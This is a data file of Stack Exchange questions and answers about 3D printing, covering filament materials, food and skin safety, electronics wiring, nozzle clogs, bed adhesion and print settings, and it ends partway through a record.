"answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.365928"}
{"id": "hf_09e73bd543c5", "question": "<p>I am working on a robotics project and need to print some gears. These will probably by under a LOT of pressure. Which material/filament should I choose so that the gears don't wear off easily?</p>\n\n<p>PS: Newbie here...</p>\n\n<p><strong>EDIT:</strong>\nAccording to my instuctor, it has to be some sort of plastic (not metal).\nIt also has to be lightweight...</p>\n", "question_body": "", "answer": "So, as you say you want to materials for printing robotics parts. And as you have not given any budget constraint, I would give you a list of materials which would help you achieve the task, and you can choose amongst them accordingly.\nPlastics: Basically used for building prototypes. Nylon Polyamide should be a choice for you.\nPolyamide 3D printing is achieved through SLS 3D printing. It offers\n  strong and flexible prints. The upside of this material is that the\n  printing technology requires minimum preparation of the 3D file before\n  printing. There is no need for support. And it also offers the\n  possibility to create intricate shapes and moving part in just one go.\n  After the print the polyamide can be polished and dyed.\nMetals: Metals like Brass, Alumunium and Steel should be a good choice.\nBut, if I were to achieve your task, I would select carbon fiber. some details about it:\nCarbon fiber consists of 90% carbon atoms, each fiber is 10 times\n  thinner than a human hair. Carbon is especially prized for its lack of\n  combustibility and infusability but also by its incredible strength\n  (stronger than steel) and ability to create flexible structure, light\n  weight and corrosion resistance. Its melting temperature is 1500, this\n  heat there are only carbon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.390633"}
{"id": "hf_106574246102", "question": "<p>I am currently working on parts for a custom prosthesis.</p>\n\n<p>My main concern at the moment is to find biocompatible materials that can be 3D printed from a UP or a Reprap.\nThe piece would need to be in contact with the skin for extended periods of time, probably around 17 hours a day on average.</p>\n\n<p>The main concerns I have are:</p>\n\n<ul>\n<li>Skin reactions caused by prolonged contact</li>\n<li>Skin reactions and bruising caused by friction</li>\n<li>Degradation of the materials due to prolonged exposure to skin secretions and sweat</li>\n<li>Risks of toxicity in the compounds generated by the aforementioned material degradation</li>\n</ul>\n\n<p><strong>Which materials can you recommend?</strong> </p>\n\n<p><strong>Any extensive data (from testing) would be greatly appreciated.</strong></p>\n", "question_body": "", "answer": "There are printers designed for medical use, and the manufacturers supply them with varying levels of\ncertification and testing\n, however I've not seen a filament manufacturer certify their material as bio-compatible separate from the printer. The printing process changes the material slightly in the best case (and significantly with poor temperature control or badly set parameters), so even if bio-compatible filament were found, the resulting product might not achieve the same level of bio-compatibility.\nIf your intent is to use hobbyist level machine for medical purposes, you might simply want to use an interface, such as a sock or a molded/cast polymer that you know to be bio-compatible between the printed part and the skin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.415422"}
{"id": "hf_898685245c76", "question": "<p>I would like to print edible cookies or ornamentation for a cake.</p>\n\n<p>Is printing with edible materials achievable by standard thermoplastic-like 3D desktop printer? Or you need to buy a special printer to do that?</p>\n", "question_body": "", "answer": "You can, but that doesn't mean it's very easy.\nYou don't have to buy a special printer, but you need a special extruder (such as\nhttp://www.structur3d.io/\n). Most of these systems can print anything with the consistency of Nutella. However, many parts of the printer may not be food safe.\nAnother option (if you simply want 2d designs) is something like the\nPancakeBot\n. It can probably also \"print\" with anything that has the same consistency of pancake batter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.452740"}
{"id": "hf_0df0e38c9d36", "question": "<p>I would like to print fancy plastic cutlery sets or plastic glasses.</p>\n\n<p>Is it safe to do it? Or bad for your health, if so, why?</p>\n", "question_body": "", "answer": "Having performed a quick search through all the resources at the FDA Food Contact Substance resource, I cannot find PLA in any list except an occasional notification that a specific manufacturer has obtained approval for use in specific circumstances, with the notice that such notifications are only valid for that manufacturer and cannot be used to validate another use of a substance.\nThere are companies that have received approval for their specific formulation and use of PLA as a food contact substance.  You may wish to discuss this further with your material supplier to find out if they have approved PLA product available.\nWithout specific product approval, though, PLA is not on the lists of generally recognized as safe, nor approved for food contact use.\nRegulations in other countries may differ, so you may want to search the EU directives, for instance, to find out their opinion on PLA as an FCS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.476808"}
{"id": "hf_879f8daa0262", "question": "<p>I'm interested in designing &amp; 3D printing as a hobby (e.g. printing chess sets, small toys for family etc.)</p>\n\n<p>Conducting a Google search has brought up a range of small, cheap printers, but beyond that I don't know how to differentiate them.</p>\n\n<p>E.g. selling points include:</p>\n\n<ul>\n<li>\"liquid light-sensitive resin\"</li>\n<li>\"partially assembled\" with \"very few parts and minor configuration\"</li>\n<li>\"Wi-Fi enabled\"</li>\n</ul>\n\n<p>My question is, <strong>which features are going to benefit a small-scale, new enthusiast to 3D printing?</strong></p>\n\n<p>PS. The software I intend to use is Windows 10 3D design</p>\n\n<p>PPS. I'm not a graphic designer by any means, just a new enthusiast.</p>\n", "question_body": "", "answer": "Here are few things to consider from my point of view\nPrinting technology\nThe first thing that you need to take into account is printing technology. The most common[citation needed] right now is Fused Filament Fabrication. \"Liquid light-sensitive resin\" is being used in Stereolitography and Digital Light Processing - the SLA printers I found are less common and more expensive than FFF ones.\nPrice\nNeed to decide on budget. You can buy printer for 60k USD and 400 USD. Quality is somehow linked to price but that's not a rule. You can buy a shitty printer for a lot of money.\nPrinting area\nBigger allows you to print bigger things. You need to ask yourself how big things you really want to print. Remember that 3d printing is quite slow process - how often you will want to print big things that will take 60hrs+ to finish?\nPrinting materials\nWhat kind of materials you want to print with? Some materials will need higher temperatures so check the max hot-end temperature, some will require heated bed.\nAssembled or DIY kit\nYou can usually get kits for self-assembly cheaper than Ready-To-Print machines. However, it will require additional skills (i.e. soldering), tools and time to assemble. I am not sure if I would buy DIY kit for commercial use, but as an enthusiast I immensely enjoyed putting my Rostock Max together.\nReviews and reputation\nIt is generally safe to buy printer that already has some users. Beware of new magical Kickstarter printers which will \"change the 3d printing forever\".\nReddit /r/3dprinting suggests that your new printer should meet 3 criteria:\nPrinter passes the youtube test - has lots of youtube evidence that this particular printer is working.\nPrinter is out of the pre-order phase. This means that all pre-orders have been delivered.\nPrinter has a reputation of working well among current users.\nI found it to be a very good set of rules.\nUpgrade capabilities\nThat's very user-dependent, but this point is very important to me. I want to be able to change and improve certain parts of my printer. Check if you can switch the extruder, replace the hot-end etc.\nSupport\nI think one of the most important points. See if you can find a forum for your printer and how active community is. It will be immensely helpful if something goes wrong (and it will).\nAlso, company support is very important. What will happen if you need a replacement part or your printer will stop working altogether?\nThis list is definitely not complete.\nThere are many more things that might be taken into account like configuration (delta or XY), multiple extruders, closed cases etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.519115"}
{"id": "hf_354e64a91175", "question": "<p>I'm reading about wiring up the electronic components to my Prusa i3 using an Arduino Mega 2650 and Ramps 1.4.</p>\n\n<p>I have step sticks, a heated bed, and a <a href=\"http://rads.stackoverflow.com/amzn/click/B007KG0ZYI\" rel=\"noreferrer\">Switching Power Supply 12v Dc 30a 360w</a>  (more details on that later when I can add which ones to the post).</p>\n\n<p>I've heard that if you wire it wrong and plug it in, you can do anything from starting a fire to burning out your boards.</p>\n\n<p>What are some tips of things to check before plugging it in? Are there any common mistakes that I can avoid?</p>\n", "question_body": "", "answer": "I'd say polarity and voltage are the biggest things -- about all you can do is double- and triple-check everything; then check again....\nBe very careful about where you feed in 12V power (mainly for heaters and fans), vs. 5v (for the Arduino).\nIn many cases I found it unclear which way +/- went going\nout\nfrom the board (the\ninputs\non my boards were at least marked clearly!). I found that if I plug in a limit switch connector backwards, that connects 5v straight to ground, which will probably make your power supply cut out (assuming it's properly protected -- otherwise it could potentially catch fire). Stepper motors, on the other hand, just run the wrong direction if you plug them onto RAMPS backwards (good design!).\nAnother thing to watch for only comes up if you're powering the Arduino via USB (I do that a lot, since I'm plugged in anyway to send files and such). A short can try to draw too much power from USB. In that case my Mac shuts down USB and gives a message; I don't know what would happen with other hardware.\nI have heard that plugging a stepper-driver board onto RAMPS backwards is likely to fry a board, and that plugging or unplugging a stepper motor while powered is also risky. But I haven't messed those up yet, so I don't now for sure. :)\nI may be overly cautious, but I never leave the power supply plugged in when I'm not around.\nBest wishes!\nSteve", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.544929"}
{"id": "hf_0b3f807f6a37", "question": "<p>Printer: FDM printer  (FDM == Fusion Deposition Modelling).</p>\n\n<p>Raw Material: Thermoplastics.</p>\n\n<p>How do I do multicolor printing? What changes should I make to the printing process/to the raw material used?</p>\n\n<p>(Answer in the context of printing a basic 3X3 Rubix cube)</p>\n\n<hr>\n\n<p>Bonus: What are the best practises while doing multi-colour printing?   (&lt;-- This is opinion based and/or broad, so pl add an answer to this point as an extra to your answers if you can. It would greatly help people getting started/practising with multi-colour printing) </p>\n", "question_body": "", "answer": "There are a few different approaches I've seen which you could look into.\nThe easiest and most common is multiple extruders, each with a different color of thermoplastic. Tools like Pronterface and Slic3r have built-in support for multiple extruders. With multiple extruders you can get one color per extruder; there's no clear way to mix colors and get a color between the input materials' colors.\nAnother, more complicated approach is to use a single extruder with three inputs, like\nthis one\n, where thermoplastic from the three inputs can be mixed in varying amounts to get color gradients between the input colors. With red, yellow, and blue filament, you could get a rainbow of colors...albeit without any control over value (white to black) or saturation (bright vs dull color).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.569643"}
{"id": "hf_4621abf0a65d", "question": "<p>A fellow maker has tried printing a 3D model in clear PLA (&lt;5% infill, 1 or 2 perimeters), burying it most of the way into casting sand, and then pouring molten aluminum. This melts and burns the PLA, and the aluminum takes the space that the printed model used to take.</p>\n\n<p>There's plenty of room for improvement in his process, but I'm asking about what he can do in terms of the 3D printing process to make his prints more casting-friendly.</p>\n\n<p>What print settings are (generally) best for use in this sort of casting?</p>\n\n<p>What materials, if any, would work better than unpigmented PLA? (Must be a material that a typical thermoplastic FDM printer can handle.)</p>\n\n<p>Any other tips or considerations?</p>\n", "question_body": "", "answer": "I believe casting typically uses a wax for the positive when using casting sand. So, I would suggest using\nwax filament\nin your 3D printer.\nI would try to shy away from hard polymers like PLA/ABS/Nylon (all typical 3D printing filaments) if the goal is to \"melt it away\" because a certain amount of the plastic material will either bind itself with the metal or large chunks of plastic will cause inclusions in your part. Both of these side effects will potentially degrade the quality/strength of your part.\nI haven't personally used wax filament, so I can't tell you what the correct setting are. However, you can get most of the necessary information from whichever supplier you go through. I might suggest running your machine slower when using a low-melting filament such as wax or PVA (water soluble).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.637780"}
{"id": "hf_9c92e8f913b5", "question": "<p>How do I determine how much an individual print costs?</p>\n\n<p>I'd like an answer including support material, failed prints, and (ideally) wear and tear / printer maintenance costs.</p>\n\n<p>To clarify, I'm not asking how to <em>predict</em> the cost before printing, but rather how to calculate the actual cost after printing. Though predicting the cost beforehand is useful as well.</p>\n", "question_body": "", "answer": "For\nFDM\nprinting:\nBoth Cura and Makerbot Desktop (and perhaps others I'm not as familiar with) will give you a preview of both the length and weight of your print, including supports/rafts. Once the print is done you can weigh it on a kitchen scale.\nPLA Filament currently runs about \\$23/kg on Amazon, which works out to \\$0.023/g. Multiplication can then give you a good estimate of materials costs for a print.\nOnly experience with your specific printer will give you an idea of how often you're going to hit a failed print, and how often you're going to need to replace parts. For wear and tear you could try using a depreciation model of 2-3 years, but that's only an estimate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.661579"}
{"id": "hf_9d4260aab622", "question": "<p>When the print head changes direction, the printer must accelerate and decelerate the print head. When calibrated correctly, the printer is able to do this quickly and without causing the printer to shake too much, without drastically slowing down the print process.</p>\n\n<p>If I set it too high, my printer shakes violently, especially during infill. If I set it too low, print times are doubled or tripled.</p>\n\n<p>What process can I follow to determine (or how can I calculate) the fastest acceleration value my printer can use without causing problems in my print?</p>\n\n<p>I'd prefer a process I can follow over a formula I can plug values into, especially if the formula includes magic numbers.</p>\n", "question_body": "", "answer": "A tool that you might find useful for experimenting with acceleration is\nRepRap Centrals Acceleration Calculator\n(at the bottom).\nBy setting an\nacceleration\n,\nlength of travel\nand\ntarget speed\n, you can see:\nThe theoretical speed that can be achieved during the travel with your set acceleration (yellow line).\nThe distance required to reach your target speed, and for how long it will hold that speed before slowing down (blue line).\nFor instance, setting\n```\nacceleration = 3000, length = 30 and speed = 150\n```\nmeans it will travel 4 mm before reaching its desired speed of 150 mm/s, while that same acceleration theoretically could give a speed of 300 mm/s for the given distance:\nCalculating speed, acceleration and jerk:\nIn many cases your printer will have some limitation in maximum speed or settings given by your provider that can be used as a starting point. If not, trial and error is the most straightforward way of doing it.\nI would separate speed calibration into three task:\nFirst find the\nmaximum speed\nyour printer can tolerate. One way of doing this is to print an object with long travel distances, and vary the maximum travel speed.\nUsing the calculator above, increase the\nacceleration\nfor various traveling distances until you get suitably smooth acceleration curves for your desired speed for medium to long traveling distances.\nAdjust your\njerk\nsetting to allow for quick speedup on short traveling distances. Jerk speed is the speed that the printer will immediately jump to before taking acceleration into account. With a jerk of 20mm/s, the printer will make an immediate jump from 0 to 20 mm/s, and thereafter speed up to the desired speed by following the acceleration profile.\nAs a rule of thumb, it might be smart to then set the actual speed, jerk and acceleration approximately 20% below the the maximum found as a safeguard when printing.\nAlso, bear in mind that\nthe strength of stepper motors lowers for higher speeds\n, so that the nozzle will not hold its path very well if obstructed. If this becomes a problem, consider lowering the speed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.697941"}
{"id": "hf_3e64f372d5c3", "question": "<p>Using a thermoplastic MDF printer with a 0.4mm extruder nozzle, I frequently have trouble with the nozzle getting clogged.</p>\n\n<p>I am not sure what's causing the clog, but my guesses are dust and/or burnt filament (from leaving the hot end on without extruding).</p>\n\n<p>What can I do to prevent, or at least minimize, the extruder nozzle getting clogged?</p>\n\n<p>Bonus question: What other common causes of clogs are there? (ie what should I watch out for besides dust and leaving the hot end on?)</p>\n", "question_body": "", "answer": "Lubricating the filament is the most common solution I've heard of to stop filament jams and clogs. Lubricating makes for a smoother ride through the print head. While you're at it, make sure that the filament is clean. The best way to stop jams from dust is to get rid of the dust in the first place.\nSome people recommend\ncanola oil\n, which I've heard works reasonably well for both ABS and PLA (though especially for PLA). You can even\n3D-print dust filters/lubricators\n, if you think this could be a serious issue.\nI personally try to clean the print head regularly, after every couple prints or even after each print, if I have time. Something sharp, like tweezers, can pick off bits of filament near the tip of the nozzle. I haven't tried other utensils yet, but there are certainly other tools that would work. I've also heard of people regulating temperature with a fan, in order to prevent partially melted bits of filament clogging up the inside of the nozzle, but I don't know if that's effective.\nIn some cases, the problem could even be as mundane as a support issue. I once set up a spool of filament, only to have a jam when the support for the spool failed, leaving the line of filament tugging at the nozzle and clogging it. Taking steps to prevent this from happening can be simply and effective. Whatever the cause, preventative measures are always my choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.722644"}
{"id": "hf_fffad7da2429", "question": "<p>My thermoplastic FDM printer has a heated bed and uses glass as the printing surface. Sometimes the glass will chip or break entirely when I'm removing my print. This happens most often when the print has a large area in contact with the glass.</p>\n\n<p>What can I do to keep this from happening?</p>\n", "question_body": "", "answer": "Some things I've tried that have helped:\nLay down a layer of masking tape. Most people who do this use blue painter's tape. The plastic should stick nicely during printing, yet release reasonably easily when you remove the print from the heated bed.\nLay down a later of Kapton tape. The principle is the same as masking tape, but Kapton tape has a smooth surface and is more durable than masking tape. The down side is Kapton tape is far more expensive, and applying it correctly is a LOT more work, since you have to use water and you have to keep bubbles from getting underneath it.\nPut some ABS scraps into a bottle of Acetone, and allow the acetone to break down the ABS til you have a slurry. Spread this slurry as evenly as possible across the build plate, and allow the acetone to evaporate away. This leaves a thin film of ABS on the plate, and will release much better than if you print directly onto the build plate. I recommend using clear ABS if you can, since some of it will stick to your print and clear will be the least visible. You'll need to re-apply it regularly, since it will come off with your print where it touches the build plate.\nWARNING\n: Use proper ventilation and avoid contact with acetone. That stuff's not good for you. Also it's flammable, so keep a fire extinguisher nearby.\nI prefer the ABS/acetone slurry method, but it requires good ventilation and a handy fire extinguisher. Also note that you don't have to print in ABS to use an ABS/acetone slurry; I print primarily in PLA and it makes no difference.\nI've also heard of others using a glue stick or some other surface treatments that allow for good adhesion during printing while still allowing for easy removal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.758616"}
{"id": "hf_3803b08171d9", "question": "<p>For a science project, I'm 3D-printing some custom pipes and tubes to regulate the flow of gas (a combination of ethyl alcohol and water vapor) through an apparatus. They need to be pretty small, as the entire experiment is designed on a small scale. I'd also like the use a little filament as possible.</p>\n\n<p>How thin can I make the walls of these pipes and tubes before either they collapse or gas leaks out? I know that's possibly an engineering issue, but I'd also need to take resolution into consideration. Ideally, the pipes would be about two centimeters in diameter, possibly a little larger or a little smaller in some parts. I'd most likely use ABS, but PLA is my backup in case there's some unforeseen reaction between the gas and the pipes.</p>\n\n<p>The printer I'm using is an FDM printer, a version of the MakerBot Replicator.</p>\n", "question_body": "", "answer": "The thinnest wall your printer can print is determined by its nozzle size, and will be a little thicker than that nozzle size.\nA great challenge when dealing with thin, hollow cylinders is that the cross-section has very little surface area and it can delaminate easily, especially if the tube is long.\nYou could try printing the tube with a very thick extrusion with, and using only a single perimeter. That would give better gas-tightness and layer adhesion than two, thinner perimeters, but it may turn out too fragile for your application. In that case, you'll need to print additional perimeters. Sticking to thicker extrusion widths would still be beneficial.\nAt a two centimeter diameter I'd say the single perimeter has a decent chance of working if you handle them gingerly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.782473"}
{"id": "hf_da6addc27f23", "question": "<p>I often switch my print material, i.e. ABS / PLA / Wood / Flex,</p>\n\n<p>How can I best clean out my extruder between them to ensure I don't contaminate my next print?</p>\n", "question_body": "", "answer": "In most cases, removing the old filament from the printer, inserting the new filament in, and running the new filament through the printer for a short period of time will clean the nozzle.  The skirt of the print can also be a time during the actual print for the old filament to be flushed.  Assuming the skirt is long enough, all that needs to be done is the new filament inserted and the print started.\nAssuming that extruding new filament does not fix the problem, there is a more serious problem such as a clogged extrusion head that needs to be fixed with other methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.807321"}
{"id": "hf_f5766596ed10", "question": "<p>After multiple jams from bulging filaments on two spools I'm getting frustrated.  One, right before a job was done.</p>\n\n<p>Is there something I can do to prevent these bulges in filaments from ruining jobs?</p>\n\n<p>What can I do to prevent this from happening in the future before it's a disaster?</p>\n\n<p>He's a picture of one I found using google.</p>\n\n<p><a href=\"https://i.stack.imgur.com/6UvLW.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6UvLW.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "How to catch\nand\nfix these on the fly? That would be difficult..\nBut this is an issue you really should not have.\nCould it be an issue with filament storage?\nOr is it coming from the manufacturer with these bulges? If so, I would try contacting ( you may have gotten a bad batch? ), or finding a new retailer if this happens often.\nI have gone through a lot of pounds of both ABS and PLA and never come across this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.831417"}
{"id": "hf_c95f1913d1e5", "question": "<p>I am operating a laser sintering machine, using polyamide 2200 powder (with a grain size of approximately 50 micrometers). During a print, a lot of powder goes unsintered and can theoretically be reused. However, using purely recycled powder degrades print quality to an unacceptable level.</p>\n\n<p>Mixing a little used powder into a larger amount of fresh powder seems to work well though. What is the greatest ratio of used to fresh powder that still gives good results, and is there anything I can do (pre- postprocessing) to allow more powder to be reused?</p>\n", "question_body": "", "answer": "You'll find generally that mixing 40% new polyamide with 60% recycled polyamide will result in a reasonable finish and part. You will obviously want to use all new for parts requiring the best possible finish and mechanical properties, but this mixture will be very difficult to tell apart from a fully new mixture part:\nhttp://www.paramountind.com/pdfs/eos_pa2200_mds.pdf\nThis is more detailed research showing how used powder changes and how that affects print quality here:\nhttp://www.emeraldinsight.com/doi/abs/10.1108/13552540910960299\nSearching for the research paper title may find a free source, but the linked resource does require a subscription or payment to that service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.894802"}
{"id": "hf_4c8f257fddd0", "question": "<p>Usually it will either will rip the tape, or break the print somehow. Currently using ABS on a taped glass bed with a layer of hairspray for adhesion.</p>\n", "question_body": "", "answer": "I moved to a plain glass heated bed with a brush applied acetone and ABS mixture. Using an old emptied nail polish bottle with brush, I added some acetone and then threw in ABS pieces until it reached a brush-able consistency. I then brush it on the glass build plate where I believe the print will occur, and it works very well. On removal of the part the coating comes with it.\nI just found previously that ABS would adhere to my kapton taped heated bed too strongly to use, and so while this involves a little work before each print, it's overall better than kapton for me.\nI did experiment with sheet metal beds coated with kapton, but they curl during printing due to the ABS thermal stress, allowing my parts to be concave on the bottom side. Easy to remove from the plate, though, since it flexed. There may be a good middle ground material but I didn't experiment further.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.918766"}
{"id": "hf_36d4409d98e1", "question": "<p>Why do we have two standard filament sizes, 1.75&nbsp;mm and 3&nbsp;mm? Does it really make a difference when printing? Or is the 1.75&nbsp;mm just for smaller printers?</p>\n\n<p>In what situations should I be using 1.75&nbsp;mm?</p>\n\n<p>When should I be using 3&nbsp;mm?</p>\n", "question_body": "", "answer": "There's no appreciable difference. Just use the filament that fits your particular printer.\nIf you don't yet have a printer, then I'd get one that uses 1.75 mm filament:\n1.75 mm is increasingly becoming the \"standard\", thus being easier to get. Some filaments are not available as 3 mm.\n1.75 mm filament allows for finer control, because feeding in 1 mm of filament corresponds to less plastic extruded.\n1.75 mm filament requires less force to extrude. Compressing 1.75 mm down to 0.3 mm takes less force than doing the same to 3 mm filament.\nHowever, the advantages are fairly minor. I don't see any reason to replace a functioning 3 mm extruder with a 1.75 mm one (yet).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.955030"}
{"id": "hf_f7558252a569", "question": "<p>As an extension from <a href=\"https://3dprinting.stackexchange.com/questions/264/when-to-use-1-75mm-vs-3mm-filament\">this</a> question, is there any reason that you would not be able to use 1.75&nbsp;mm filament in a printer that takes 3mm filament?  I know you would have to change the filament size in the slicing of prints but would there be any other problems?</p>\n\n<p>Also, would using 1.75&nbsp;mm filament be possible if the nozzle diameter was greater than 1.75&nbsp;mm but less than 3&nbsp;mm?</p>\n", "question_body": "", "answer": "It may work for a short time but you're going to fill the melt chamber quickly and possibly overflow to a point where the filament isn't constrained causing a messy jam.  All the molten plastic will likely flow backwards to a point where the diameter isn't 3mm any longer (probably next to your drive gear) but depending on the length it may just flow up, cool down and jam the extruder.\nNo, the filament would just pass through unheated and not do anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.979005"}
{"id": "hf_c6d8fe1feea5", "question": "<p>There must be a trick to doing a good job of applying Kapton tape on a printer bed plate…</p>\n\n<p>We built a Bukobot and even with a great deal of care ended up with bubbles under the tape and occasional overlaps. I'd appreciate any pointers.</p>\n", "question_body": "", "answer": "There are several things you could try without spending much but even PLA will warp on an unheated bed.  I had a Legacy Kossel that I switched to an acrylic bed and had many issues with warping and prints pulling off the bed.\nSome cheap things to try would be...\nAdding a brim to the print.\nBlue painters tape on the acrylic, remove the other material if doing this.\nPlace cheap piece of glass/mirror on bed and use hairspray/gluestick.\nUse hairspray/gluestick directly on acrylic.  You must be careful here because first layer height is very critical to prevent damage to the acrylic from the plastic welding.  A layer of hairspray or glue should prevent it but dial in your height before printing.\nIf you aren't currently using a fan, you could try sealing the sides to prevent drafts.  I doubt this would change much since you are using PLA but it's an option.\nIf these are your designs, there are steps you can take to reduce warping as seen\nhere.\nAlso many other suggestions\nhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.030667"}
{"id": "hf_872a0c338dba", "question": "<p><a href=\"http://www.nasa.gov/mission_pages/station/research/experiments/1115.html\">This article</a> states that 3D printing has been accomplished in outer space, on the International Space Station.</p>\n\n<p>I'm curious as to how this works differently from 3D printing on Earth. Are there any extra measures that needed to be taken to ensure that the filament would be correctly extruded onto the print bed, or during other steps?</p>\n", "question_body": "", "answer": "Most likely, the 3D-printers used on ISS does not incorporate some fundamental difference that allow them to print in zero gravity.\nSome people over at\n3Dprint.com\nraised a very similar question, and figured that when turning their 3D-printer upside down and on it's side:\nthere’s not really much difference at all. It’s quite interesting to see how the orientation has little effect on the quality.\nOne of the early 3D-printer models - the\nBukito\nprinter - demonstrated that their printer was so portable it even could print on the move, and\nupside down\n.\nIn other words, some consumer 3D printers already print upside down, and so they would probably print in zero gravity as well!\n(That's the short story anyway. Have a look at Ryan's post, who gives a great description of the more intricate parts of space printing!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.079405"}
{"id": "hf_ba5e895c8e8b", "question": "<p>Are there any techniques for getting a smooth finish for parts printed with co-polyester (PET) filaments? More specifically, I am looking for an alternative that does not roughen the look of the part - such as using sandpaper - but rather works like acetone baths for ABS.</p>\n\n<p>In particular, I want to treat ColorFabb's XT filament made from the <a href=\"http://www.eastman.com/Markets/3D_Printing/Pages/Products.aspx\" rel=\"nofollow\">Eastman Amphora™ 3D polymer</a> (<a href=\"http://ws.eastman.com/ProductCatalogApps/PageControllers/ProdDatasheet_PC.aspx?Product=71100831&amp;sCategoryName=Generic\" rel=\"nofollow\">datasheet</a>). This is also the polymer is also used in:</p>\n\n<ul>\n<li>ColorFabb <a href=\"http://colorfabb.com/co-polyesters\" rel=\"nofollow\">nGen and XT</a></li>\n<li>Taulman3D n-vent</li>\n<li>TripTech Athiri 1800</li>\n<li>3DXTech 3DXNano</li>\n</ul>\n", "question_body": "", "answer": "I've found a\nchart\nwhich covers several plastics and solvents and only two of them (\nChloromethane\nand\nChloroform\n) are rated \"D\" which includes dissolving the material and both seem to be quite nasty and I doubt you will be able to purchase them without being placed on several lists.\nIs it possible that something like\nXTC-3D\nfrom Smooth-On would work for you?\nAlso some more information on dissolving PET\nhere\n, several sources also mention PET is affected by Hydrogen Peroxide but they do not mention to what degree the plastic is affected.", "tags": 